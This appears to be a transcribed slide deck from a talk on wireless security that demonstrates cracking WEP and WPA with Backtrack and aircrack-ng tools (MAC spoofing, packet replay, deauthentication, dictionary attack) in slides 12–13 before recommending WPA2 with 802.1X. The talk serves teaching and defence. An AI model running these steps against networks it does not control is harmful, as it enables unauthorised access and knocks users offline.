Network Security and Ethical Hacking Wireless

1
Network Security and Ethical Hacking - Wireless

• Jason Maynard
• CCDA, CCIP, CCNP, GSEC, GCFW
• Infrastructure Architect

2
Network Security and Ethical Hacking - Wireless

• Is it Secure?

It really depends on the methods used to secure
it.
3
Network Security and Ethical Hacking - Wireless

• Encryption and Authentication Methods

4
Network Security and Ethical Hacking - Wireless
WEP
Short for Wired Equivalent Privacy, a security
protocol for wireless local area networks (WLANs)
defined in the 802.11b standard.
5
Network Security and Ethical Hacking - Wireless
WPA
Short for Wi-Fi Protected Access, a Wi-Fi
standard that was designed to improve upon the
security features of WEP.
6
Network Security and Ethical Hacking - Wireless
WPA2
Short for Wi-Fi Protected Access 2, the follow on
security method to WPA for wireless networks that
provides stronger data protection and network
access control, Based on the IEEE 802.11i standard
7
Network Security and Ethical Hacking - Wireless

• Mac Authentication is easy to sniff and spoof,
  can still get the SSID by sniffing the network

8
Network Security and Ethical Hacking - Wireless

• Couple of demos
• WEP
• WPA

9
Network Security and Ethical Hacking - Wireless

• Items Needed
• USB Key with Backtrack3 (Linux distro used for
  ethical hacking)
• DWA-642 PCMICA Card (atheros chipset and uses the
  madwifi-ng driver)
• Access Point running WEP and then run WPA
• 2 Client Laptops running Linux and Windows
  connecting to the AP

10
Network Security and Ethical Hacking - Wireless

• Command Line Tools
• ifconfig
• iwconfig
• macchanger
• airmon-ng
• airdump-ng
• airreplay-ng
• aircrack-ng

11
Network Security and Ethical Hacking - Wireless

• Open a couple of terminals
• Type iwconfig identify the cards
• Type ifconfig determine which cards are up
• Type airmon-ng stop wifi0 and airmon-ng stop
  ath0 to ensure the cards are not running in
  monitor mode
• Type ifconfig ath0 down and ifconfig wifi0
  down to ensure the interface is down

12
Network Security and Ethical Hacking - Wireless

• Type maccchanger mac 001122334455 wifi0
  changes mac address
• Type airmon-ng start wifi0 put card in monitor
  mode
• Type airodump ath0 find AP that is running WEP
  or WPA then copy the SSID stop the scan
• WEP Cracking
• Type airodump w wep.cap c channel bssid
  SSID in HEX ath0 (this captures packets sent
  to the AP)
• New Terminal
• Type aireplay-ng -1 0 a SSID h MAC in HEX
  ath0 (this fakes authentication)

13
Network Security and Ethical Hacking - Wireless

• Go to another terminal
• Type aireplay-ng -2 p 0841 -b SSID h MAC in
  HEX ath0 (interactive packet replay)
• Go to another terminal
• Type aircrack-ng wep.cap
• WPA Cracking
• Type airodump w wpa.cap c channel bssid
  SSID in HEX ath0 (this captures packets sent
  to the AP)
• Type aireplay-ng -0 5 -a SSID ath0
  (DEAuthentication)
• Type aircrack-ng -0 x2 wpa.cap w
  /pentest/wireless/aircrack-ng/test/password.lst

14
Network Security and Ethical Hacking - Wireless

• So what do I do to protect my network and
  wireless users?

15
Network Security and Ethical Hacking - Wireless

• Use WPA2 with 802.1x

16
Network Security and Ethical Hacking - Wireless

• WPA2 provides government grade security by
  implementing the National Institute of Standards
  and Technology (NIST) FIPS 140-2 compliant AES
  encryption algorithm and 802.1x-based
  authentication

17
Network Security and Ethical Hacking - Wireless

• 802.1X provides port-based authentication, which
  involves communications between a supplicant,
  authenticator, and authentication server.

18
Network Security and Ethical Hacking - Wireless

• 802.1X The most secure methods
• EAP PEAP
• EAP TLS

19
Network Security and Ethical Hacking - Wireless

• EAP PEAP
• Uses Server certificates and MSCHAPv2

20
Network Security and Ethical Hacking - Wireless

• EAP TLS
• One of the most secure methods uses client and
  server certificate. More difficult to manage.

21
Network Security and Ethical Hacking - Wireless
22
Network Security and Ethical Hacking - Wireless
Supporting Products

• FreeRadius and OpenSSL
• Microsoft Radius and Group Policy, Certificate
  Services
• Cisco ACS server and Local Authentication/AD/NDS

23
Network Security and Ethical Hacking - Wireless

• Support Products Links
• Backtrack
• http//www.remote-exploit.org/backtrack_download.h
  tml
• FreeRadius and OpenSSL
• http//wiki.freeradius.org
• http//www.openssl.org
• Cisco ACS
• http//www.cisco.com/en/US/products/sw/secursw/ps2
  086
• Microsoft
• http//www.microsoft.com/technet/security/prodtech
  /windowsserver2003/pkiwire/swlan.mspx?mfrtrue
• http//technet.microsoft.com/en-us/magazine/cc1624
  68.aspx

24
Network Security and Ethical Hacking - Wireless

• Questions?